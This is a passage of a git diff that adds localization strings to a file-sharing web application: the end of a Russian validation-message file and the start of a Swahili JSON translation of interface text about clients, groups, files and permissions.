'before_or_equal' => 'Значение поля :attribute должно быть датой до или равной :date.', + 'between' => [ + 'array' => 'Количество элементов в поле :attribute должно быть от :min до :max.', + 'file' => 'Размер файла в поле :attribute должен быть от :min до :max Кб.', + 'numeric' => 'Значение поля :attribute должно быть от :min до :max.', + 'string' => 'Количество символов в поле :attribute должно быть от :min до :max.', + ], + 'boolean' => 'Значение поля :attribute должно быть логического типа.', + 'can' => 'Значение поля :attribute должно быть авторизованным.', + 'confirmed' => 'Значение поля :attribute не совпадает с подтверждаемым.', + 'contains' => 'В поле :attribute отсутствует необходимое значение.', + 'current_password' => 'Неверный пароль.', + 'date' => 'Значение поля :attribute должно быть корректной датой.', + 'date_equals' => 'Значение поля :attribute должно быть датой равной :date.', + 'date_format' => 'Значение поля :attribute должно соответствовать формату даты: :format.', + 'decimal' => 'Значение поля :attribute должно содержать :decimal цифр десятичных разрядов.', + 'declined' => 'Значение поля :attribute должно быть отклонено.', + 'declined_if' => 'Значение поля :attribute должно быть отклонено, когда :other содержит :value.', + 'different' => 'Значения полей :attribute и :other должны различаться.', + 'digits' => 'Количество символов в поле :attribute должно быть равным :digits.', + 'digits_between' => 'Количество символов в поле :attribute должно быть от :min до :max.', + 'dimensions' => 'Изображение, указанное в поле :attribute, имеет недопустимые размеры.', + 'distinct' => 'Элементы в значении поля :attribute не должны повторяться.', + 'doesnt_contain' => 'Значение поля :attribute не должно содержать ни одного из следующих элементов: :values.', + 'doesnt_end_with' => 'Значение поля :attribute не должно заканчиваться одним из следующих: :values.', + 'doesnt_start_with' => 'Значение поля :attribute не должно начинаться с одного из следующих: :values.', + 'email' => 'Значение поля :attribute должно быть действительным электронным адресом.', + 'encoding' => 'Значение поля :attribute должно быть в кодировке :encoding.', + 'ends_with' => 'Значение поля :attribute должно заканчиваться одним из следующих: :values', + 'enum' => 'Значение поля :attribute отсутствует в списке разрешённых.', + 'exists' => 'Значение поля :attribute не существует.', + 'extensions' => 'Файл в поле :attribute должен иметь одно из следующих расширений: :values.', + 'file' => 'В поле :attribute должен быть указан файл.', + 'filled' => 'Значение поля :attribute обязательно для заполнения.', + 'gt' => [ + 'array' => 'Количество элементов в поле :attribute должно быть больше :value.', + 'file' => 'Размер файла, указанный в поле :attribute, должен быть больше :value Кб.', + 'numeric' => 'Значение поля :attribute должно быть больше :value.', + 'string' => 'Количество символов в поле :attribute должно быть больше :value.', + ], + 'gte' => [ + 'array' => 'Количество элементов в поле :attribute должно быть :value или больше.', + 'file' => 'Размер файла, указанный в поле :attribute, должен быть :value Кб или больше.', + 'numeric' => 'Значение поля :attribute должно быть :value или больше.', + 'string' => 'Количество символов в поле :attribute должно быть :value или больше.', + ], + 'hex_color' => 'Значение поля :attribute должно быть корректным цветом в HEX формате.', + 'image' => 'Файл, указанный в поле :attribute, должен быть изображением.', + 'in' => 'Значение поля :attribute отсутствует в списке разрешённых.', + 'in_array' => 'Значение поля :attribute должно быть указано в поле :other.', + 'in_array_keys' => 'Массив в значении поля :attribute должен иметь как минимум один из следующих ключей: :values.', + 'integer' => 'Значение поля :attribute должно быть целым числом.', + 'ip' => 'Значение поля :attribute должно быть действительным IP-адресом.', + 'ipv4' => 'Значение поля :attribute должно быть действительным IPv4-адресом.', + 'ipv6' => 'Значение поля :attribute должно быть действительным IPv6-адресом.', + 'json' => 'Значение поля :attribute должно быть JSON строкой.', + 'list' => 'Значение поля :attribute должно быть списком.', + 'lowercase' => 'Значение поля :attribute должно быть в нижнем регистре.', + 'lt' => [ + 'array' => 'Количество элементов в поле :attribute должно быть меньше :value.', + 'file' => 'Размер файла, указанный в поле :attribute, должен быть меньше :value Кб.', + 'numeric' => 'Значение поля :attribute должно быть меньше :value.', + 'string' => 'Количество символов в поле :attribute должно быть меньше :value.', + ], + 'lte' => [ + 'array' => 'Количество элементов в поле :attribute должно быть :value или меньше.', + 'file' => 'Размер файла, указанный в поле :attribute, должен быть :value Кб или меньше.', + 'numeric' => 'Значение поля :attribute должно быть равным или меньше :value.', + 'string' => 'Количество символов в поле :attribute должно быть :value или меньше.', + ], + 'mac_address' => 'Значение поля :attribute должно быть корректным MAC-адресом.', + 'max' => [ + 'array' => 'Количество элементов в поле :attribute не может превышать :max.', + 'file' => 'Размер файла в поле :attribute не может быть больше :max Кб.', + 'numeric' => 'Значение поля :attribute не может быть больше :max.', + 'string' => 'Количество символов в значении поля :attribute не может превышать :max.', + ], + 'max_digits' => 'Значение поля :attribute не должно содержать больше :max цифр.', + 'mimes' => 'Файл, указанный в поле :attribute, должен быть одного из следующих типов: :values.', + 'mimetypes' => 'Файл, указанный в поле :attribute, должен быть одного из следующих типов: :values.', + 'min' => [ + 'array' => 'Количество элементов в поле :attribute должно быть не меньше :min.', + 'file' => 'Размер файла, указанный в поле :attribute, должен быть не меньше :min Кб.', + 'numeric' => 'Значение поля :attribute должно быть не меньше :min.', + 'string' => 'Количество символов в поле :attribute должно быть не меньше :min.', + ], + 'min_digits' => 'Значение поля :attribute должно содержать не меньше :min цифр.', + 'missing' => 'Значение поля :attribute должно отсутствовать.', + 'missing_if' => 'Значение поля :attribute должно отсутствовать, когда :other содержит :value.', + 'missing_unless' => 'Значение поля :attribute должно отсутствовать, когда :other не содержит :value.', + 'missing_with' => 'Значение поля :attribute должно отсутствовать, если :values указано.', + 'missing_with_all' => 'Значение поля :attribute должно отсутствовать, когда указаны все :values.', + 'multiple_of' => 'Значение поля :attribute должно быть кратным :value', + 'not_in' => 'Значение поля :attribute находится в списке запрета.', + 'not_regex' => 'Значение поля :attribute имеет некорректный формат.', + 'numeric' => 'Значение поля :attribute должно быть числом.', + 'password' => [ + 'letters' => 'Значение поля :attribute должно содержать хотя бы одну букву.', + 'mixed' => 'Значение поля :attribute должно содержать хотя бы одну прописную и одну строчную буквы.', + 'numbers' => 'Значение поля :attribute должно содержать хотя бы одну цифру.', + 'symbols' => 'Значение поля :attribute должно содержать хотя бы один символ.', + 'uncompromised' => 'Значение поля :attribute обнаружено в утёкших данных. Пожалуйста, выберите другое значение для :attribute.', + ], + 'present' => 'Значение поля :attribute должно быть.', + 'present_if' => 'Значение поля :attribute должно быть когда :other содержит :value.', + 'present_unless' => 'Значение поля :attribute должно быть, если только :other не содержит :value.', + 'present_with' => 'Значение поля :attribute должно быть когда одно из :values присутствуют.', + 'present_with_all' => 'Значение поля :attribute должно быть когда все из значений присутствуют: :values.', + 'prohibited' => 'Значение поля :attribute запрещено.', + 'prohibited_if' => 'Значение поля :attribute запрещено, когда :other содержит :value.', + 'prohibited_if_accepted' => 'Значение поля :attribute запрещено, если принято :other.', + 'prohibited_if_declined' => 'Значение поля :attribute запрещено при отказе от :other.', + 'prohibited_unless' => 'Значение поля :attribute запрещено, если :other не состоит в :values.', + 'prohibits' => 'Значение поля :attribute запрещает присутствие :other.', + 'regex' => 'Значение поля :attribute имеет некорректный формат.', + 'required' => 'Поле :attribute обязательно.', + 'required_array_keys' => 'Массив, указанный в поле :attribute, обязательно должен иметь ключи: :values', + 'required_if' => 'Поле :attribute обязательно для заполнения, когда :other содержит :value.', + 'required_if_accepted' => 'Поле :attribute обязательно, когда :other принято.', + 'required_if_declined' => 'Поле :attribute обязательно, когда :other отклонено.', + 'required_unless' => 'Поле :attribute обязательно для заполнения, когда :other не содержит :values.', + 'required_with' => 'Поле :attribute обязательно для заполнения, когда :values указано.', + 'required_with_all' => 'Поле :attribute обязательно для заполнения, когда :values указано.', + 'required_without' => 'Поле :attribute обязательно для заполнения, когда :values не указано.', + 'required_without_all' => 'Поле :attribute обязательно для заполнения, когда ни одно из :values не указано.', + 'same' => 'Значения полей :attribute и :other должны совпадать.', + 'size' => [ + 'array' => 'Количество элементов в поле :attribute должно быть равным :size.', + 'file' => 'Размер файла, указанный в поле :attribute, должен быть равен :size Кб.', + 'numeric' => 'Значение поля :attribute должно быть равным :size.', + 'string' => 'Количество символов в поле :attribute должно быть равным :size.', + ], + 'starts_with' => 'Поле :attribute должно начинаться с одного из следующих значений: :values', + 'string' => 'Значение поля :attribute должно быть строкой.', + 'timezone' => 'Значение поля :attribute должно быть действительным часовым поясом.', + 'ulid' => 'Значение поля :attribute должно быть корректным ULID.', + 'unique' => 'Такое значение поля :attribute уже существует.', + 'uploaded' => 'Загрузка файла из поля :attribute не удалась.', + 'uppercase' => 'Значение поля :attribute должно быть в верхнем регистре.', + 'url' => 'Значение поля :attribute не является ссылкой или имеет некорректный формат.', + 'uuid' => 'Значение поля :attribute должно быть корректным UUID.', + 'attributes' => [ + 'address' => 'адрес', + 'affiliate_url' => 'Партнёрская ссылка', + 'age' => 'возраст', + 'amount' => 'количество', + 'announcement' => 'анонс', + 'area' => 'область', + 'audience_prize' => 'приз зрительских симпатий', + 'audience_winner' => 'победитель зрительских симпатий', + 'available' => 'доступно', + 'birthday' => 'дата рождения', + 'body' => 'контент', + 'city' => 'город', + 'color' => 'цвет', + 'company' => 'компания', + 'compilation' => 'компиляция', + 'concept' => 'концепт', + 'conditions' => 'условия', + 'content' => 'контент', + 'contest' => 'конкурс', + 'country' => 'страна', + 'cover' => 'обложка', + 'created_at' => 'создано в', + 'creator' => 'создатель', + 'currency' => 'валюта', + 'current_password' => 'текущий пароль', + 'customer' => 'клиент', + 'date' => 'дата', + 'date_of_birth' => 'день рождения', + 'dates' => 'даты', + 'day' => 'день', + 'deleted_at' => 'удалено в', + 'description' => 'описание', + 'display_type' => 'тип отображения', + 'district' => 'округ', + 'duration' => 'продолжительность', + 'email' => 'email адрес', + 'excerpt' => 'выдержка', + 'filter' => 'фильтр', + 'finished_at' => 'завершено в', + 'first_name' => 'имя', + 'gender' => 'пол', + 'grand_prize' => 'главный приз', + 'group' => 'группа', + 'hour' => 'час', + 'image' => 'изображение', + 'image_desktop' => 'десктопное изображение', + 'image_main' => 'основное изображение', + 'image_mobile' => 'мобильное изображение', + 'images' => 'изображения', + 'is_audience_winner' => 'победитель зрительских симпатий', + 'is_hidden' => 'скрыто', + 'is_subscribed' => 'подписан', + 'is_visible' => 'отображается', + 'is_winner' => 'победитель', + 'items' => 'элементы', + 'key' => 'ключ', + 'last_name' => 'фамилия', + 'lesson' => 'урок', + 'line_address_1' => 'строка адреса 1', + 'line_address_2' => 'строка адреса 2', + 'login' => 'логин', + 'message' => 'сообщение', + 'middle_name' => 'отчество', + 'minute' => 'минута', + 'mobile' => 'моб. номер', + 'month' => 'месяц', + 'name' => 'имя', + 'national_code' => 'национальный код', + 'number' => 'номер', + 'password' => 'пароль', + 'password_confirmation' => 'подтверждение пароля', + 'phone' => 'номер телефона', + 'photo' => 'фотография', + 'portfolio' => 'портфолио', + 'postal_code' => 'индекс', + 'preview' => 'предпросмотр', + 'price' => 'стоимость', + 'product_id' => 'ID продукта', + 'product_uid' => 'UID продукта', + 'product_uuid' => 'UUID продукта', + 'promo_code' => 'промокод', + 'province' => 'провинция', + 'quantity' => 'количество', + 'reason' => 'причина', + 'recaptcha_response_field' => 'ошибка капчи', + 'referee' => 'жюри', + 'referees' => 'жюри', + 'region' => 'регион', + 'reject_reason' => 'причина отказа', + 'remember' => 'запомнить', + 'restored_at' => 'восстановлено в', + 'result_text_under_image' => 'текст под изображением', + 'role' => 'роль', + 'rule' => 'правило', + 'rules' => 'правила', + 'second' => 'секунда', + 'sex' => 'пол', + 'shipment' => 'доставка', + 'short_text' => 'короткое описание', + 'size' => 'размер', + 'skills' => 'навыки', + 'slug' => 'слаг', + 'specialization' => 'специализация', + 'started_at' => 'началось в', + 'state' => 'штат', + 'status' => 'статус', + 'street' => 'улица', + 'student' => 'студент', + 'subject' => 'заголовок', + 'tag' => 'тег', + 'tags' => 'теги', + 'teacher' => 'учитель', + 'terms' => 'правила', + 'test_description' => 'тестовое описание', + 'test_locale' => 'тестовая локализация', + 'test_name' => 'тестовое имя', + 'text' => 'текст', + 'time' => 'время', + 'title' => 'наименование', + 'type' => 'тип', + 'updated_at' => 'обновлено в', + 'user' => 'пользователь', + 'username' => 'никнейм', + 'value' => 'значение', + 'winner' => 'победитель', + 'work' => 'работа', + 'year' => 'год', + ], +]; diff --git a/lang/sw.json b/lang/sw.json new file mode 100644 index 00000000..c04c2d6a --- /dev/null +++ b/lang/sw.json @@ -0,0 +1,1786 @@ +{ + ":clientName uploaded \":itemName\"": ":clientName amepakia \":itemName\"", + ":count accounts have this role": "Akaunti :count zina jukumu hili", + ":count awaiting approval": ":count zinasubiri idhini", + ":count downloads": "Vipakuliwa :count", + ":count file deleted.|:count files deleted.": "Faili :count limefutwa.|Mafaili :count yamefutwa.", + ":count file imported.|:count files imported.": "Faili :count limeingizwa.|Mafaili :count yameingizwa.", + ":count files": "Mafaili :count", + ":count folders": "Folda :count", + ":count items have been shared with you": "Vipengele :count umeshirikishwa", + ":count members": "Wanachama :count", + ":count selected": ":count vimechaguliwa", + ":files files": "Mafaili :files", + ":itemName was shared with you": ":itemName umeshirikishwa", + ":name will not be added to the group \":group\".": ":name hataongezwa kwenye kikundi \":group\".", + ":total total": "jumla :total", + ":used / :limit downloads": "Vipakuliwa :used / :limit", + ":used MB of :quota MB used": "MB :used kati ya MB :quota zimetumika", + ":used MB used, no limit": "MB :used zimetumika, hakuna kikomo", + "(and :count more error)": "(na :count makosa zaidi)", + "(and :count more errors)": "(na :count makosa zaidi)|(na :count makosa zaidi)|(na :count makosa zaidi)", + "(deleted account)": "(akaunti iliyofutwa)", + "0 means unlimited.": "0 humaanisha bila kikomo.", + "A client account request was approved": "Ombi la akaunti ya mteja limeidhinishwa", + "A client account request was denied": "Ombi la akaunti ya mteja limekataliwa", + "A client left a group": "Mteja ameondoka kwenye kikundi", + "A client registered an account": "Mteja amesajili akaunti", + "A client requested to join a group": "Mteja ameomba kujiunga na kikundi", + "A client uploaded a file": "Mteja amepakia faili", + "A client was added to a group": "Mteja ameongezwa kwenye kikundi", + "A client was removed from a group": "Mteja ameondolewa kwenye kikundi", + "A decryption key is required.": "Ufunguo wa usimbuaji unahitajika.", + "A file assignment was removed": "Ugawaji wa faili umeondolewa", + "A file has been shared with you": "Umeshirikishwa faili", + "A file or folder was shared with you": "Umeshirikishwa faili au folda", + "A file was assigned": "Faili limegawiwa", + "A file was deleted": "Faili limefutwa", + "A file was downloaded": "Faili limepakuliwa", + "A file was downloaded via a public link": "Faili limepakuliwa kupitia kiungo cha umma", + "A file was downloaded via the public group listing": "Faili limepakuliwa kupitia orodha ya umma ya vikundi", + "A file was updated": "Faili limesasishwa", + "A file was uploaded": "Faili limepakiwa", + "A folder cannot be moved into itself.": "Folda haiwezi kuhamishwa ndani yake yenyewe.", + "A folder has been shared with you": "Umeshirikishwa folda", + "A folder was created": "Folda imeundwa", + "A folder was deleted": "Folda imefutwa", + "A folder was moved": "Folda imehamishwa", + "A folder was renamed": "Folda imebadilishwa jina", + "A folder was shared": "Folda imeshirikishwa", + "A folder was unshared": "Ushirikishwaji wa folda umeondolewa", + "A group membership request was approved": "Ombi la uanachama wa kikundi limeidhinishwa", + "A group membership request was denied": "Ombi la uanachama wa kikundi limekataliwa", + "A group membership was requested": "Kumeombwa uanachama wa kikundi", + "A group was created": "Kikundi kimeundwa", + "A group was deleted": "Kikundi kimefutwa", + "A group was updated": "Kikundi kimesasishwa", + "A new client account was created: :name (:email).": "Akaunti mpya ya mteja imeundwa: :name (:email).", + "A new client has registered": "Mteja mpya amejisajili", + "A new ProjectSend version is available": "Toleo jipya la ProjectSend linapatikana", + "A public group's page is always reachable by its own link once you mark it public — this section only controls the base URL and an optional directory listing every public group and file at once.": "Ukishaweka kikundi kuwa cha umma, ukurasa wake hufikika daima kupitia kiungo chake — sehemu hii hudhibiti tu anwani ya msingi na orodha ya hiari inayoonyesha vikundi na mafaili yote ya umma kwa pamoja.", + "A public link was created": "Kiungo cha umma kimeundwa", + "A public link was revoked": "Kiungo cha umma kimetenguliwa", + "A role was created": "Jukumu limeundwa", + "A role was deleted": "Jukumu limefutwa", + "A role was updated": "Jukumu limesasishwa", + "A Timeout Occurred": "Muda wa Kuisha Umetokea", + "About": "Kuhusu", + "Accept": "Kubali", + "Accepted": "Imekubaliwa", + "Account": "Akaunti", + "Account deletion grace period (days)": "Muda wa neema kabla ya kufuta akaunti (siku)", + "Account is active": "Akaunti inatumika", + "Account Manager": "Msimamizi wa wateja", + "Account request approved.": "Ombi la akaunti limeidhinishwa.", + "Account request denied.": "Ombi la akaunti limekataliwa.", + "Account requests": "Maombi ya akaunti", + "Account settings": "Mipangilio ya akaunti", + "Account type": "Aina ya akaunti", + "Accounts": "Akaunti", + "Accounts covered by this requirement must set up two-factor authentication before they can continue using the application.": "Akaunti zinazohusika na sharti hili lazima ziweke uthibitishaji wa hatua mbili kabla ya kuendelea kutumia programu.", + "Action": "Tendo", + "Actions": "Vitendo", + "Activate": "Washa", + "Activated the account \":subject\"": "Ameiwasha akaunti \":subject\"", + "Activating this account approves its pending request.": "Kuwasha akaunti hii huidhinisha ombi lake linalosubiri.", + "Active": "Inatumika", + "Activity": "Shughuli", + "Activity log": "Kumbukumbu ya shughuli", + "Add": "Kuongeza", + "Add :name": "Ongeza :name", + "Add a category": "Ongeza kategoria", + "Add a client": "Ongeza mteja", + "Add a second step to your login using an authenticator app.": "Ongeza hatua ya pili unapoingia kwa kutumia programu ya uthibitishaji.", + "Add new clients to this group": "Ongeza wateja wapya kwenye kikundi hiki", + "Added \":member\" to the group \":subject\"": "Amemuongeza \":member\" kwenye kikundi \":subject\"", + "Admin": "Msimamizi", + "Admin notification recipients": "Wapokeaji wa arifa za usimamizi", + "Admin: client uploaded a file": "Usimamizi: mteja amepakia faili", + "Admin: group membership requested": "Usimamizi: kumeombwa uanachama wa kikundi", + "Admin: new client registered": "Usimamizi: mteja mpya amejisajili", + "Administration": "Usimamizi", + "After uploading you can assign it to clients and groups": "Baada ya kupakia utaweza kuligawia wateja na vikundi", + "Agree": "Kubali", + "All": "Zote", + "All actions": "Vitendo vyote", + "All categories": "Kategoria zote", + "All clients": "Wateja wote", + "All comments": "Maoni yote", + "All failed jobs deleted.": "Kazi zote zilizoshindwa zimefutwa.", + "All files": "Mafaili yote", + "All groups": "Vikundi vyote", + "All permissions": "Ruhusa zote", + "All rights reserved.": "Haki zote zimehifadhiwa.", + "All roles": "Majukumu yote", + "All statuses": "Hali zote", + "All system users": "Watumiaji wote wa mfumo", + "All types": "Aina zote", + "Already have an account?": "Tayari una akaunti?", + "Already Reported": "Tayari Imeripotiwa", + "Always": "Kila mara", + "Amazon SES": "Amazon SES", + "An account has been created for you. You can log in now.": "Umeundiwa akaunti. Unaweza kuingia sasa.", + "An account was activated": "Akaunti imewashwa", + "An account was created": "Akaunti imeundwa", + "An account was deactivated": "Akaunti imezimwa", + "An account was deleted": "Akaunti imefutwa", + "An account was permanently erased": "Akaunti imefutwa kabisa", + "An account was updated": "Akaunti imesasishwa", + "An administrator deleting an account is asked this each time; the automatic erasure of self-deleted accounts runs unattended and follows this choice, so nothing is ever left ownerless.": "Msimamizi anayefuta akaunti huulizwa hili kila mara; ufutaji wa kiotomatiki wa akaunti zilizojifuta zenyewe huendeshwa bila usimamizi na hufuata chaguo hili, hivyo hakuna kinachobaki bila mmiliki.", + "An administrator will review your group requests.": "Msimamizi atapitia maombi yako ya vikundi.", + "An orphan file was deleted": "Faili yatima limefutwa", + "An orphan file was imported": "Faili yatima limeingizwa", + "An overview of this installation": "Muhtasari wa usakinishaji huu", + "Any audience": "Hadhira yoyote", + "Anyone": "Mtu yeyote", + "Anyone using it will no longer be able to download the file.": "Yeyote anayekitumia hataweza tena kupakua faili hilo.", + "Appearance": "Muonekano", + "Applies to the guest-facing public group/file pages and the \"My files\" client portal.": "Hutumika kwenye kurasa za umma za vikundi na mafaili kwa wageni, na kwenye lango la mteja \"Mafaili yangu\".", + "Apply filters": "Tumia vichujio", + "Approve": "Idhinisha", + "Approve account requests": "Kuidhinisha maombi ya akaunti", + "Approve group membership requests": "Kuidhinisha maombi ya uanachama wa vikundi", + "Approved the account request of \":subject\"": "Ameidhinisha ombi la akaunti la \":subject\"", + "Approved the membership of \":member\" to the group \":subject\"": "Ameidhinisha uanachama wa \":member\" katika kikundi \":subject\"", + "Archive": "Hifadhi", + "Are deleted along with the account": "Hufutwa pamoja na akaunti", + "Are reassigned to another account": "Hukabidhiwa akaunti nyingine", + "Are you sure you want to delete your account?": "Una uhakika unataka kufuta akaunti yako?", + "Assign": "Kadiria", + "Assign categories to files": "Kugawia mafaili kategoria", + "Assigned": "Imegawiwa", + "Assigned clients": "Wateja waliogawiwa", + "Assigned the file \":subject\" to :target": "Amegawia faili \":subject\" kwa :target", + "Associate": "Mshirika", + "Attach": "Ambatisha", + "Audience": "Hadhira", + "Authentication code": "Msimbo wa uthibitishaji", + "Authentication requirements for this installation": "Masharti ya uthibitishaji kwa usakinishaji huu", + "Author": "Mwandishi", + "Available groups": "Vikundi vinavyopatikana", + "Available placeholders": "Vishika-nafasi vinavyopatikana", + "Back to My files": "Rudi kwenye Mafaili yangu", + "Bad Gateway": "Mlango Mbaya", + "Bad Request": "Ombi baya", + "Bandwidth Limit Exceeded": "Kikomo cha Kipimo Kimezidi", + "Blue": "Buluu", + "Body": "Maandishi ya ujumbe", + "Browse": "Vinjari", + "Browse publicly shared groups and files below.": "Vinjari hapa chini vikundi na mafaili yaliyoshirikishwa hadharani.", + "Built-in": "Ya asili", + "Built-in role names cannot be changed.": "Majina ya majukumu ya asili hayawezi kubadilishwa.", + "Built-in roles cannot be deleted.": "Majukumu ya asili hayawezi kufutwa.", + "Call to action": "Kitufe cha hatua", + "Cancel": "Ghairi", + "Categories": "Kategoria", + "Category": "Kategoria", + "Category created.": "Kategoria imeundwa.", + "Category deleted.": "Kategoria imefutwa.", + "Category updated.": "Kategoria imesasishwa.", + "Changed their password": "Amebadilisha nenosiri lake", + "Checkbox": "Kisanduku cha kuteua", + "Checksum (SHA-256)": "Alama ya uthibitisho (SHA-256)", + "Choose": "Kuchagua", + "Choose :name": "Chagua :name", + "Choose an account…": "Chagua akaunti…", + "Choose File": "Chagua Faili", + "Choose Image": "Chagua Picha", + "Choose which notifications also send you an email. Everything always appears in the notification bell.": "Chagua arifa zipi pia zikutumie barua pepe. Kwa vyovyote, kila kitu huonekana kwenye kengele ya arifa.", + "Clear": "Futa", + "Click to copy": "Bofya ili kunakili", + "Client": "Mteja", + "Client account approved": "Akaunti ya mteja imeidhinishwa", + "Client account denied": "Akaunti ya mteja imekataliwa", + "Client account edited": "Akaunti ya mteja imehaririwa", + "Client Closed Request": "Ombi Lililofungwa la Mteja", + "Client created.": "Mteja ameundwa.", + "Client deleted.": "Mteja amefutwa.", + "Client Manager": "Meneja wa wateja", + "Client settings": "Mipangilio ya wateja", + "Client updated.": "Mteja amesasishwa.", + "Client welcome (staff-created account)": "Karibu mteja (akaunti iliyoundwa na wafanyakazi)", + "Clients": "Wateja", + "Clients and groups that can download this file": "Wateja na vikundi vinavyoweza kupakua faili hili", + "Clients asking to join groups": "Wateja wanaoomba kujiunga na vikundi", + "Clients who registered themselves and are waiting for approval": "Wateja waliojisajili wenyewe na wanasubiri idhini", + "Close": "Funga", + "Collapse": "Kunja", + "Collapse All": "Kunja Zote", + "Color": "Rangi", + "Columns": "Safu", + "Comment": "Maoni", + "Confirm": "Kuthibitisha", + "Confirm password": "Thibitisha nenosiri", + "Conflict": "Migogoro", + "Connect": "Unganisha", + "Connection Closed Without Response": "Muunganisho Umefungwa Bila Majibu", + "Connection Timed Out": "Muda wa Muunganisho Umekwisha", + "Continue": "Endelea", + "Copy URL": "Nakili anwani", + "Copy link": "Nakili kiungo", + "Counters": "Vihesabu", + "Create": "Unda", + "Create :name": "Unda :name", + "Create a client account": "Unda akaunti ya mteja", + "Create a public link": "Unda kiungo cha umma", + "Create a staff account for this installation": "Unda akaunti ya mfanyakazi kwa usakinishaji huu", + "Create administrator account": "Unda akaunti ya msimamizi", + "Create an account for someone you share files with": "Unda akaunti kwa mtu unayeshirikiana naye mafaili", + "Create categories": "Kuunda kategoria", + "Create category": "Unda kategoria", + "Create client": "Unda mteja", + "Create clients": "Kuunda wateja", + "Create custom assets": "Kuunda rasilimali maalum", + "Create field": "Unda sehemu", + "Create folder": "Unda folda", + "Create group": "Unda kikundi", + "Create groups": "Kuunda vikundi", + "Create link": "Unda kiungo", + "Create own folders": "Kuunda folda zake mwenyewe", + "Create role": "Unda jukumu", + "Create system users": "Kuunda watumiaji wa mfumo", + "Create user": "Unda mtumiaji", + "Created": "Imeundwa", + "Created a public link for the file \":subject\"": "Ameunda kiungo cha umma kwa faili \":subject\"", + "Created by": "Ameundwa na", + "Created the account \":subject\"": "Ameunda akaunti \":subject\"", + "Created the folder \":subject\"": "Ameunda folda \":subject\"", + "Created the group \":subject\"": "Ameunda kikundi \":subject\"", + "Created the role \":subject\"": "Ameunda jukumu \":subject\"", + "Custom": "Maalum", + "Custom assets": "Rasilimali maalum", + "Custom fields": "Sehemu maalum", + "Custom links with an optional expiration date or download limit, no account needed.": "Viungo unavyoviamua mwenyewe, vyenye tarehe ya mwisho au kikomo cha vipakuliwa kwa hiari, bila kuhitaji akaunti.", + "Custom roles let you grant a precise set of permissions": "Majukumu maalum hukuwezesha kutoa ruhusa hasa unazotaka", + "Custom SMTP": "SMTP maalum", + "Customize the wording of any transactional email sent by this installation.": "Badilisha maneno ya kila barua pepe ya kiutendaji inayotumwa na usakinishaji huu.", + "Customized": "Imebadilishwa", + "Dark": "Giza", + "Dashboard": "Dashibodi", + "Dashboard widgets": "Vipengele vya dashibodi", + "Data retention and visibility for this installation": "Uhifadhi wa data na uonekanaji kwa usakinishaji huu", + "Database": "Hifadhidata", + "Date": "Tarehe", + "Days before a denied membership request can be made again": "Siku kabla ombi la uanachama lililokataliwa kuweza kurudiwa", + "Deactivate your account now; it is permanently erased after :days days": "Zima akaunti yako sasa; itafutwa kabisa baada ya siku :days", + "Deactivated the account \":subject\"": "Ameizima akaunti \":subject\"", + "Default": "Chaguomsingi", + "Defaults to the file name.": "Kwa chaguomsingi hutumia jina la faili.", + "Delete": "Futa", + "Delete :name": "Futa :name", + "Delete account": "Futa akaunti", + "Delete all": "Futa zote", + "Delete all failed": "Futa zote zilizoshindwa", + "Delete all failed jobs?": "Futa kazi zote zilizoshindwa?", + "Delete categories": "Kufuta kategoria", + "Delete category": "Futa kategoria", + "Delete category?": "Futa kategoria hii?", + "Delete client": "Futa mteja", + "Delete client?": "Futa mteja huyu?", + "Delete clients": "Kufuta wateja", + "Delete custom assets": "Kufuta rasilimali maalum", + "Delete field": "Futa sehemu", + "Delete field?": "Futa sehemu hii?", + "Delete file": "Futa faili", + "Delete file?": "Futa faili hili?", + "Delete files": "Kufuta mafaili", + "Delete folder": "Futa folda", + "Delete folder?": "Futa folda hii?", + "Delete group": "Futa kikundi", + "Delete group?": "Futa kikundi hiki?", + "Delete groups": "Kufuta vikundi", + "Delete others' files": "Kufuta mafaili ya wengine", + "Delete own files": "Kufuta mafaili yake mwenyewe", + "Delete role": "Futa jukumu", + "Delete role?": "Futa jukumu hili?", + "Delete selected": "Futa vilivyochaguliwa", + "Delete selected files?": "Futa mafaili yaliyochaguliwa?", + "Delete system users": "Kufuta watumiaji wa mfumo", + "Delete this file?": "Futa faili hili?", + "Delete user": "Futa mtumiaji", + "Delete user?": "Futa mtumiaji huyu?", + "Deleted account": "Akaunti iliyofutwa", + "Deleted the account \":name\"": "Amefuta akaunti \":name\"", + "Deleted the file \":name\"": "Amefuta faili \":name\"", + "Deleted the folder \":name\" and its contents": "Amefuta folda \":name\" pamoja na yaliyomo", + "Deleted the group \":name\"": "Amefuta kikundi \":name\"", + "Deleted the orphan file \":name\"": "Amefuta faili yatima \":name\"", + "Deleted the role \":name\"": "Amefuta jukumu \":name\"", + "Denied the account request of \":name\"": "Amekataa ombi la akaunti la \":name\"", + "Denied the membership of \":member\" to the group \":subject\"": "Amekataa uanachama wa \":member\" katika kikundi \":subject\"", + "Deny": "Kataa", + "Deny this request?": "Kataa ombi hili?", + "Description": "Maelezo", + "Description (optional)": "Maelezo (si lazima)", + "Detach": "Tenganisha", + "Details": "Maelezo", + "Disable": "Zima", + "Disable two-factor authentication?": "Zima uthibitishaji wa hatua mbili?", + "Disabled two-factor authentication": "Amezima uthibitishaji wa hatua mbili", + "Discard": "Tupa", + "Discourage search engines from indexing this site": "Zuia injini za utafutaji zisiorodheshe tovuti hii", + "Dismiss": "Ondoa", + "Documentation": "Nyaraka", + "Don't have an account?": "Huna akaunti?", + "Done": "Imekamilika", + "Down": "Chini", + "Download": "Pakua", + "Download as zip": "Pakua kama ZIP", + "Downloaded the file \":subject\"": "Amepakua faili \":subject\"", + "Downloaded the file \":subject\" via a public link": "Amepakua faili \":subject\" kupitia kiungo cha umma", + "Downloaded the file \":subject\" via the public group listing": "Amepakua faili \":subject\" kupitia orodha ya umma ya vikundi", + "Downloads": "Vipakuliwa", + "Downloads are never recorded with an IP address.": "Vipakuliwa havirekodiwi kamwe pamoja na anwani ya IP.", + "Drag to reorder": "Buruta ili kupanga upya", + "Drag widgets here": "Buruta vipengele hapa", + "Dropdown": "Orodha kunjuzi", + "Duplicate": "Nakala", + "Duplicate :name": "Nakili :name", + "Edit": "Hariri", + "Edit :name": "Hariri :name", + "Edit categories": "Kuhariri kategoria", + "Edit clients": "Kuhariri wateja", + "Edit custom assets": "Kuhariri rasilimali maalum", + "Edit email templates": "Kuhariri violezo vya barua pepe", + "Edit groups": "Kuhariri vikundi", + "Edit others' files": "Kuhariri mafaili ya wengine", + "Edit own files": "Kuhariri mafaili yake mwenyewe", + "Edit system settings": "Kuhariri mipangilio ya mfumo", + "Edit system users": "Kuhariri watumiaji wa mfumo", + "Edit this client account": "Hariri akaunti hii ya mteja", + "Edit this staff account": 